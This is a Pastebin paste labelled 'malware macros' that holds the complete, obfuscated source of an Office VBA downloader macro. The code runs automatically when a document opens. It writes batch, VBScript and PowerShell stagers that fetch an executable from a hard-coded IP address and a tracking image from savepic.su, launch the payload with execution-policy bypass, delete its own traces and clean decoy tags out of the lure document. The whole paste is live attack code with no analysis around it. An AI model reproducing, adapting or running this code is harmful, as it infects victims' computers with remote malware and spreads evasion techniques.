API tools faq
paste
Advertisement
johnburn

malware macros

johnburn
Feb 17th, 2015
360
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 16.53 KB | None | 0 0
raw download clone embed print report
  1. Sub Auto_Open()
  2.     h
  3. End Sub
  4. Sub h()
  5.  
  6.      ds = 99 + Sgn(98) + Sgn(902) + Sgn(-5)
  7.      USER = Module1.Travel("username")
  8.      
  9.      jks = ds
  10.      PST2 = "" + "" & "" & "a" + "do" & "be" & "ac" & "d-u" & "pd" & "a" & "te" & ""
  11.      VBT2 = "" & "a" + Chr(100) + "o" & "b" & "ea" & "cd-up" & "da" & "te" & ""
  12.      VBTXP2 = "" & "a" & Chr(100) & "o" & "be" + "ac" & "d-u" + "pd" + "atex" + "p" & ""
  13.      BART2 = "" & "a" + Chr(100) & "o" & "b" & "e" + "ac" & "d-up" + "date" & ""
  14.      
  15.      PST1 = PST2 + "." + Chr(Asc("p")) + Chr(ds + 15) + "1" + ""
  16.      VBT1 = VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + ""
  17.      VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + ""
  18.      
  19.      
  20.      STT = "" + "44" + "4." + "jp" + "g" + ""
  21.      
  22.      BART = "" + BART2 + Chr(Abs(ds - 100 - 45 - 1)) + Chr(Abs(ds - 100 - 96 - 2)) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(Abs(ds - 100 - 15 - 1)))) + ""
  23.      
  24.      JSIQOJQ = Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98)) + Chr(Asc(Chr(Abs(ds / 2 + 47)))) + Chr(Asc(Chr(ds + Fix(16.2)))) + "" & ""
  25.          
  26.          
  27.      KJHDU = BART2 + JSIQOJQ
  28.      BART = KJHDU
  29.      MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + PST1 + "" & ""
  30.      
  31.      STAT = "" + "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + STT + "" & ""
  32.      ASDASDSA = "" + "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART + "" & ""
  33.      MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + ""
  34.      XPFILEDIR = ""
  35.      
  36.      HJUTTT = VBTXP
  37.      XPFILEDIR = "" + "c" & ":\W" & "indows\T" & "emp\" + HJUTTT
  38.      UHFD = "" & "c" & ":\W" & "indows\T" & "emp\"
  39.      TRT = UHFD + BART
  40.      KRT = TRT
  41.      HYF = KRT
  42.      NUWHDGJS = HYF
  43.      KJSAHDFFFJ = MY_FILDIR
  44.      GGGFFFWUD = "" + ".38" & "/up" & "d3/i" & "nst" & "al" & "l" + ""
  45.      
  46.      
  47.      
  48.      If (Len(Dir(MY_FILENDIR)) <> 0) Then
  49.       SetAttr MY_FILENDIR, vbNormal
  50.       Kill MY_FILENDIR
  51.      End If
  52.      
  53.      If (Dir(ASDASDSA) <> "") Then
  54.       SetAttr ASDASDSA, vbNormal
  55.       Kill ASDASDSA
  56.      End If
  57.      
  58.      
  59.      If (Dir(MY_FILDIR) <> "") Then
  60.       SetAttr MY_FILDIR, vbNormal
  61.       Kill KJSAHDFFFJ
  62.      End If
  63.      
  64.      
  65.      If (Dir(STAT) <> "") Then
  66.       SetAttr STAT, vbNormal
  67.       Kill STAT
  68.      End If
  69.      
  70.      
  71.      If (Dir(XPFILEDIR) <> "") Then
  72.       SetAttr XPFILEDIR, vbNormal
  73.       Kill XPFILEDIR
  74.      End If
  75.      
  76.      Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer
  77.    
  78.      Dim retVal As Variant
  79.      
  80.      FileNumber = FreeFile
  81.      FileNumb = FreeFile
  82.      FileNu = FreeFile
  83.      FileNukk = FreeFile
  84.      
  85.      FileNs = FreeFile
  86.      Kasdwq = FreeFile
  87.      FileNuG = FreeFile
  88.      
  89.     Dim objWMIService As Variant
  90.     Dim colOperatingSystems As Variant
  91.     Dim objOperatingSystem As Variant
  92.     Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
  93.     SETL = "colOperatingSystemsKSAHDIUOQWdsad asad32k r8929h2f uigt8y yr2u3gby2g yu dg2uyg3bdu "
  94.    
  95.     Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem")
  96.     For Each objOperatingSystem In colOperatingSystems
  97.         SysReport = SysReport & "The operating system on this computer is " & _
  98.             objOperatingSystem.Caption & "  (" & objOperatingSystem.Version & ")"
  99.     Next
  100.      
  101.     Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
  102.     Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem")
  103.     For Each objOperatingSystem In colOperatingSystems
  104.         winverstr = objOperatingSystem.Version
  105.     Next
  106.    
  107.     winver = Val(winverstr)
  108.     WaitFor (1)
  109.     jskw = winver
  110.  
  111.  
  112.  If (jskw <= 5.5) Then
  113.          
  114.      Open NUWHDGJS For Output As #Kasdwq
  115.      Print #Kasdwq, ""
  116.      Print #Kasdwq, "@echo off"
  117.      Print #Kasdwq, ":pinkator"
  118.      Print #Kasdwq, "pin" + "g 1.3.1.2 -n" & " 2" + ""
  119.      LKASHDUIQWHQUDKNBWQKJDHQ = "sakdj lksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg"
  120.      Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34) + ""
  121.      Print #Kasdwq, "pin" + "g 2.2.1.1 -n" & " 2" + ""
  122.      Print #Kasdwq, "" & ":windows"
  123.      AIYDHLKASHDUIQWHQUDKNBWQKJDHQ = "qwe23r32sakdj sdqwlksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg"
  124.      WQJHLKASHDUIQWHQUDKNBWQKJDHQ = "sa3244tgfdkdj lksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg"
  125.      Print #Kasdwq, "c:\W" + "indows\Te" + "mp\444" + "." + Chr(Asc("e")) + Chr(Asc("x")) + Chr(Asc("e"))
  126.      Print #Kasdwq, ":loop"
  127.      Print #Kasdwq, "pin" + "g 1.3.1.2 -n" & " 1"
  128.      Print #Kasdwq, "set tar1=" + Chr(34) + BART + Chr(33 + 1)
  129.      Print #Kasdwq, "set stat=" + Chr(34) + STT + Chr(33 + 1)
  130.      Print #Kasdwq, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
  131.      Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "%tar1%" + "" & ""
  132.      Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "%stat%" + "" & ""
  133.      Print #Kasdwq, "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "emp\" + Chr(34) + "%tar1%" + " goto loop" + ""
  134.      Print #Kasdwq, "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "emp\" + "" & "" + VBTXP + Chr(34) + " goto loop"
  135.      Print #Kasdwq, "exit"
  136.      Close #Kasdwq
  137.      
  138.      WaitFor (2)
  139.      mttt = 88
  140.  
  141.      Open XPFILEDIR For Output As #FileNumber
  142.      Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://91" & "." & "220" & "." & "131" + GGGFFFWUD + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
  143.      Print #FileNumber, "statRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://savepic.su/5103664" + "." + Chr(Asc("p")) + Chr(Asc("n")) + "g" + Chr(34)
  144.      Print #FileNumber, "jfeuygq = " + Chr(34) + "4.e" + Chr(34) + "+" + Chr(34) + "xe" + Chr(34)
  145.      Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + Chr(34) + "+" + "jfeuygq"
  146.      Print #FileNumber, "khdfu =" + Chr(34) + "M" + Chr(34) + "+" + Chr(34) + "SX" + Chr(34) + "+" + Chr(34) + "ML2.X" + Chr(34) + "+" + Chr(34) + "MLH" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + "Chr(80)"
  147.      Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(khdfu)" + ""
  148.      Print #FileNumber, "Set mkH = C" + "reate" + Chr(Asc("O")) + "bject(khdfu)"
  149.      Print #FileNumber, "" + "" & "objXM" & "LH" & "T" & "TP.op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", strRT, False"
  150.      Print #FileNumber, "mkH" & ".op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", statRT, False"
  151.      JASHDJK = "send()"
  152.      Print #FileNumber, "objXMLHTTP." + JASHDJK + " "
  153.      Print #FileNumber, "mkH." + JASHDJK + " "
  154.      Print #FileNumber, "If objXMLHTTP.Status = 200 Then" + "" & ""
  155.      Print #FileNumber, "uwqhda = " + Chr(34) + "ADODB." + Chr(34)
  156.      Print #FileNumber, "Set objADOStream = C" + "reateO" + "bject(uwqhda+Chr(Sgn(-4)+84)+" + Chr(34) + "tream" + Chr(34) + ")"
  157.      
  158.      Print #FileNumber, "objADOStream.Open "
  159.      Print #FileNumber, "objADOStream.Type = 1"
  160.      Print #FileNumber, "objADOStream.Write objXMLHTTP.Re" + "" + "sp" + "onse" + "Body "
  161.      Print #FileNumber, "objADOStream.Position = 0 "
  162.      Print #FileNumber, "objADOStream.S" & "aveToF" & "ile st" & "rT" & "ecation " + ""
  163.      Print #FileNumber, "objADOStream.Close "
  164.      Print #FileNumber, "Set objADOStream = Nothing "
  165.      Print #FileNumber, "End if "
  166.      Print #FileNumber, "Set objXMLHTTP = Nothing"
  167.      Print #FileNumber, "Set objS" + "hell " & "=" + " " + Chr(Asc("C")) + "reate" + "O" + "bject(" + Chr(34) + "W" + "S" + "cript." + "S" + "hell" + Chr(34) + ")" + "" & ""
  168.      Print #FileNumber, ""
  169.      Close #FileNumber
  170.      
  171.      WaitFor (1)
  172.      ASKJD = TRT
  173.      retVal = Shell(ASKJD, 0)
  174.      
  175. End If
  176.  
  177.  
  178. If (winver > 5.5) Then
  179.      Open MY_FILENDIR For Output As #FileNumber
  180.      Print #FileNumber, "$do" & "wn = " + Chr(Asc("N")) & "ew" & "-" & Chr(79) & "bject " & Chr(Asc(Chr(Asc("S")))) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
  181.      Print #FileNumber, "$stat = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(Asc("t")))) + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://savepic.su/5093424" & ".p" & "n" + "g';"
  182.      Print #FileNumber, "$url  = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(Asc("t")))) + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://91" & "." & "220" & "." & "131" + GGGFFFWUD & ".e" & "x" + "e';"
  183.      Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + Chr(101) & "xe';"
  184.      Print #FileNumber, "$statfile = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + "j" & "pg';"
  185.      Print #FileNumber, "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf" & "ari/600.1.25'" + "+''" + "" + ";"
  186.      Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);"
  187.      Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($s" & "tat,$" & "statfile);"
  188.      Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
  189.      Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
  190.    
  191.      Print #FileNumber, "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + VBT2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "v" + Chr(39) + Chr(43) + Chr(39) + "bs" + Chr(39) + ";"
  192.      Print #FileNumber, "$statFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444" + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "j" + Chr(39) + Chr(43) + Chr(39) + "pg" + Chr(39) + ";"
  193.      Print #FileNumber, "$b" + "a" + "tFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + BART2; Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "b" + Chr(39) + Chr(43) + Chr(39) + "at" + Chr(39) + ";"
  194.      Print #FileNumber, "$p" + "sFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + PST2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "p" + Chr(39) + Chr(43) + Chr(39) + "s1" + Chr(39) + ";"
  195.      
  196.      Print #FileNumber, "Start-Sleep -s 15;"
  197.      Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c  'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e';     "
  198.      Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
  199.      Print #FileNumber, "$file2 = gci $" + "b" + "a" + "t" + "FilePath -Force"
  200.      Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
  201.      Print #FileNumber, "" + "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
  202.      Print #FileNumber, "" + "If (Test-Path $ba" + "tFileP" + "ath){ Remove-Item $b" + "atFileP" + "ath }" + ""
  203.      Print #FileNumber, "" + "If (Test-Path $s" + "tatFileP" + "ath){ Remove-Item $st" + "atFileP" + "ath }" + ""
  204.      Print #FileNumber, "" + "$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';" + ""
  205.      Print #FileNumber, "" + "If (Test-Path $so" + "meFi" + "leP" + "ath){ Remove-Item $s" + "omeFi" + "lePa" + "th }" + ""
  206.      Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
  207.      Close #FileNumber
  208.     KJUCBHS = " = "
  209.     Open MY_FILDIR For Output As #FileNumb
  210.     Print #FileNumb, "Dim dff"
  211.     Print #FileNumb, "dff = 68"
  212.     Print #FileNumb, "c" & "ur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irec" + "tory = left(WSc" & "ript.ScriptFullName," & "(L" + "en(W" + "S" + "cri" + "pt.Sc" + "riptFullName))-(len(W" + "Sc" + "ript.ScriptName)))"
  213.     Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & Chr(34) & "&" & Chr(34) & "S" & Chr(34) & Chr(38) & Chr(34) & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")"
  214.     Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + USER + "\AppData\Local\Temp" + "\" + PST2 + Chr(34) + "&" + Chr(34) + "." + Chr(34) + "&" + Chr(34) + "p" + Chr(34) + "&" + Chr(34) + "s1" + Chr(34)
  215.     Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "he" + Chr(Asc("l")) + Chr(Asc("l")) + KJUCBHS & Chr(Sgn(-4) + 68) + "reate" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")" + ""
  216.     Print #FileNumb, "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) + Chr(34) + "+" + Chr(34) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true"
  217.    
  218.     Print #FileNumb, ""
  219.     Close #FileNumb
  220.    
  221.     Open ASDASDSA For Output As #FileNs
  222.     Print #FileNs, "@echo off"
  223.     Print #FileNs, "ping 1.1.2.2 -n" & " 2"
  224.     Print #FileNs, "chcp 1251"
  225.     Print #FileNs, ":csakclasjdklas"
  226.     Print #FileNs, "set Var1=" + Chr(34) + "." + Chr(34)
  227.     Print #FileNs, "set Var2=" + Chr(34) + "v" + Chr(34)
  228.     Print #FileNs, "set Var3=" + Chr(34) + "bs" + Chr(34)
  229.     Print #FileNs, "set Var4=" + Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\" + VBT2 + Chr(34)
  230.     Print #FileNs, "c" & "sc" & "ri" & "pt" & Chr(46) + Chr(101) & Chr(120) & "e " & "%Var4%" + "%Var1%%Var2%%Var3%"
  231.     Print #FileNs, "exit"
  232.     Close #FileNs
  233.        
  234.     SetAttr MY_FILENDIR, vbNormal
  235.     SetAttr ASDASDSA, vbNormal
  236.     SetAttr MY_FILDIR, vbNormal
  237.      
  238.     WaitFor (1)
  239.     SJAKLD = ASDASDSA
  240.     retVal = Shell(SJAKLD, 0)
  241. End If
  242.  
  243.      
  244.      findTest
  245.     secondTest
  246.     For Each myStoryRange In ActiveDocument.StoryRanges
  247.     With myStoryRange.Find
  248.         .Text = "<" & "sel" & "ect>"
  249.         .Replacement.Text = " "
  250.         .Wrap = wdFindContinue
  251.         .Execute Replace:=wdReplaceAll
  252.     End With
  253.     Next myStoryRange
  254.  
  255.     For Each myStoryRange In ActiveDocument.StoryRanges
  256.     With myStoryRange.Find
  257.         .Text = "</s" & "ele" & "ct>"
  258.         .Replacement.Text = " "
  259.         .Wrap = wdFindContinue
  260.         .Execute Replace:=wdReplaceAll
  261.     End With
  262.     Next myStoryRange
  263.    
  264.     For Each myStoryRange In ActiveDocument.StoryRanges
  265.     With myStoryRange.Find
  266.         .Text = "<" & "in" & "box>"
  267.         .Replacement.Text = " "
  268.         .Wrap = wdFindContinue
  269.         .Execute Replace:=wdReplaceAll
  270.     End With
  271.     Next myStoryRange
  272.  
  273.     For Each myStoryRange In ActiveDocument.StoryRanges
  274.     With myStoryRange.Find
  275.         .Text = "</" & "in" & "box>"
  276.         .Replacement.Text = " "
  277.         .Wrap = wdFindContinue
  278.         .Execute Replace:=wdReplaceAll
  279.     End With
  280.     Next myStoryRange
  281.      
  282.  
  283. End Sub
  284. Sub WaitFor(NumOfSeconds As Long)
  285. Dim SngSec As Long
  286. SngSec = Timer + NumOfSeconds
  287.  
  288. Do While Timer < SngSec
  289. DoEvents
  290. Loop
  291.  
  292. End Sub
  293.  
  294. Sub AutoOpen()
  295.     Auto_Open
  296. End Sub
  297. Sub Workbook_Open()
  298.     Auto_Open
  299. End Sub
  300. Sub findTest()
  301. Dim firstTerm, secondTerm, selectedText As String
  302. Dim rrtt, selRange As Range
  303. Set rrtt = ActiveDocument.Range
  304. JIS = Chr(Asc(Chr(60)))
  305. IHRR = "" & JIS + "" + "s" + "e" & "l" & "e" + "c" & "t>" + UYAS + ""
  306. JFRR = "" & JIS + "" + "/" + "s" & "e" + "l" & "e" & "c" + "t>" + ""
  307. firstTerm = "" & IHRR
  308. secondTerm = "" & JFRR
  309. JKHUIQHDSUKHWQD = "sadkjkj321k3h3 j21kh2jkhgjk2g 2jhkg 2k"
  310. With rrtt.Find
  311. .Text = firstTerm
  312. .MatchWholeWord = True
  313. .Execute
  314. rrtt.Collapse direction:=wdCollapseEnd
  315. Set selRange = ActiveDocument.Range
  316. selRange.Start = rrtt.End
  317. .Text = secondTerm
  318. .MatchWholeWord = True
  319. .Execute
  320.  
  321.  
  322.  
  323. rrtt.Collapse direction:=wdCollapseStart
  324. selRange.End = rrtt.Start
  325. selectedText = selRange.Delete
  326. End With
  327. End Sub
  328.  
  329. Sub secondTest()
  330. Dim firstTerm As String
  331. Dim secondTerm As String
  332. Dim myRanget As Range
  333. Dim yytt As Range
  334. Dim selRanget As Range
  335. Dim selectedTextt As String
  336.  
  337. Set yytt = ActiveDocument.Range
  338. SKHDAJKHASJ = "aslkdjk sadksaj ksaljd klsajd ksajd KSJDKASL JD"
  339. firstTerm = "<" + "in" & "bo" + "x>"
  340. secondTerm = "</" + "in" & "bo" + "x>"
  341. With yytt.Find
  342. .Text = firstTerm
  343. .MatchWholeWord = True
  344. .Execute
  345. ASKIEJ = "ask as8d j dnkjh12kh1 sad"
  346. yytt.Collapse direction:=wdCollapseEnd
  347.  
  348. Set selRanget = ActiveDocument.Range
  349. selRanget.Start = yytt.End
  350. .Text = secondTerm
  351. .MatchWholeWord = True
  352. .Execute
  353.  
  354. yytt.Collapse direction:=wdCollapseStart
  355. selRanget.End = yytt.Start
  356. selectedTextt = selRanget
  357. selRanget.Font.Color = wdColorBlack
  358. End With
  359. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!